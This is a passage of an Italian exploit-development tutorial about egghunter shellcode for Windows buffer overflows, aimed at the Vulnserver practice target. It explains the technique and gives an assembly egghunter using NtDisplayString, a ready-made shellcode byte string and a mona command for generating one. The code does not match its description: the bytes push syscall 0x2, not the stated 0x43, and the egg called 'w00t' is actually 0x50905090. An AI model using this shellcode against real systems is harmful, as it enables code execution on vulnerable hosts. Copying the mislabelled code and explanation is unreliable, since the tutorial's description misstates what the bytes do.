Riferimenti: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

https://www.exploit-db.com/docs/english/18482-egg-hunter—a-twist-in-buffer-overflow.pdf

https://www.securitysift.com/windows-exploit-development-part-5-locating-shellcode-egghunting/

Vulnserver: https://sites.google.com/site/lupingreycorner/vulnserver.zip?attredirects=0

Egghunter è una tecnica che viene utilizzata quando il buffer dell’utente inviato all’applicazione viene diviso e allocato in una parte sconosciuta della memoria. Si tratta di uno shellcode di piccole dimensioni in grado di cercare o shellcode reale all’interno della memoria e di eseguirlo.

Nello specifico egghunter cercherà in tutto l’address space di un processo una sequenza di bytes, un marcatore, che identificherà lo shellcode reale. Quando il marcatore viene trovato, egghunter dirotterà l’esecuzione del programma all’interno dello spazio in cui risiede quella sequenza di bytes.

Per fare cio egghunter si affida alle system calls che hanno la capacità di muoversi all’interno del processo in memoria. Dal momento che ci sono poche system calls in Windows, non ci sono molte maniere di scrivere egghunters.

NtDisplayString

Si tratta di un egghunter popolare che sfrutta la chiamata di sistema di Windows NtDisplayString per cercare ed eseguire lo shellcode. La syscall in oggetto è utilizzata per mostrare una stringa nel blue screen di windows e prende come parametro un puntatore alla stringa che deve essere visualizzata. Il valore di ritorno della syscall ci farà capire se il marcatore del nostro shellcode è stato trovato o meno.

NtDisplayStrng risulta essere un egghunter molto robusto e affidabile. L’unico difetto è che l’egghunter si basa sull’opcode 0x43 che è rimasto invariato su tutte le versioni di windows, ma qualora dovesse cambiare, l’eghunter andrebbe aggiornato.

Come accennato, la syscall prenderà in ingresso il puntatore al marcatore della dimensione di 4 bytes. Dal momento che questi 4 bytes potrebbero essere presenti in altri punti della memoria e non solo all’inizio dello shellcode, l’hegghunter cercherà il marcatore per due volte consecutive. Solo in questo caso sposterà l’esecuzione del programma allo shellcode finale.

Di seguito l’implementazione Assembly dell’egghunter:

entry:
loop_inc_page:
     or    dx, 0x0fff       // get last address in page 
 
 loop_inc_one:
     inc   edx              // edx + 1

 make_syscall:
     push  edx              // push edx curr address into stack
     push  0x43             // push the Syscall ID for NtDisplayString
     pop   eax              // pop 0x43 into eax (syscall param)
     int   0x2e             // call the nt!NtDisplayString kernel 
 
 check_is_valid:
     cmp   al, 0x05         // compare low order byte of eax to 0x5 (5 = access violation)
     pop   edx              // restore edx from the stack
     jz    loop_inc_one     // if the zf flag was set by cmp instruction there was an access violation so jump back to start

 is_egg:
     mov   eax, 0x50905090  // if the address was valid, move the egg "w00t" into eax for comparison

     mov   edi, edx         // set edi to the current address pointer in edx for use in the scasd instruction

     scasd                  // compares value in eax to dword value addressed by edi (current address pointer)and sets EFLAGS register accordingly. After scasd comparison, EDI is automatically incremented by 4 if DF flag is 0 or decremented if flag is 1
 
     jnz   loop_inc_one     // egg not found? jump back to loop_inc_one

     scasd                  // first 4 bytes of egg found; compare the dword in edi to eax again (remember scasd automatically advanced by 4)

     jnz   loop_inc_one     // only the first half of the egg was found; jump back to loop_inc_one  
 
 found:
     jmp   edi              //egg found!; thanks to scasd, edi now points to shellcode

Quindi la sequenza di bytes:

egghunter  = ""
egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8" + "\x90\x50\x90\x50" # <== "w00t"
egghunter += "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Gli egghunter possono essere trovati sul web a seconda dell’architettura o della versione del sistema operativo.

Con mona è possibile generare egghunters come segue:

!mona egg -t w00t # -t indica il marcatore che precede lo shellcode.

Nella seconda pagina l’esempio pratico con vulnserver.